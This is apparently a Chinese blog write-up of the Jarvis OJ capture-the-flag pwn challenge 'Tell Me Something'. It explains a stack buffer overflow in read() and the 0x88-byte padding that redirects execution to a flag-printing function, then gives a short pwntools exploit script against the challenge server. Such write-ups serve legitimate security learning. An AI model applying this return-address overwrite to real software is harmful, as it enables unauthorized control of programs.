• Pwn-Tell Me Something


    题目地址

    友链

    64位的程序  并且有NX保护机制

     用IDA查看伪代码

    发现可以good_game函数中可以直接打开flag.txt

    但是main函数不会执行good_game函数,不过 read函数存在栈溢出,可以利用栈溢出控制程序流程,执行good_game

     正常我们是需要填充(0x88+0x8)个字节,再写入good_game的地址

     但是这样构造的payload打不通

    看了一下汇编

    跟平时常见的构造栈帧不一样,平时构造栈帧是为

    push ebp

    mov  ebp,esp

    sub   esp,栈帧大小 

     ......

    .......

    add   esp,栈帧大小

    pop   ebp

    retn

    因为栈帧不一样,没有old_ebp,所以只需要填充0x88即可

    然后再查看good_game的地址

     exp

    from pwn import *
    r=remote('pwn.jarvisoj.com',9876)
    payload=(0x88)*'a'+p64(0x400620)
    r.sendline(payload)
    r.interactive()
                       
    执行


  • 相关阅读:
    htop命令使用详解
    三月江南
    linux下文本三剑客之sed
    linux下五种查找命令
    Spring MVC 全局异常处理&文件上传
    About Spring MVC
    JSP
    java多线程
    Java中map接口 遍历map
    log4j
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11634770.html
Copyright © 2020-2023  润新知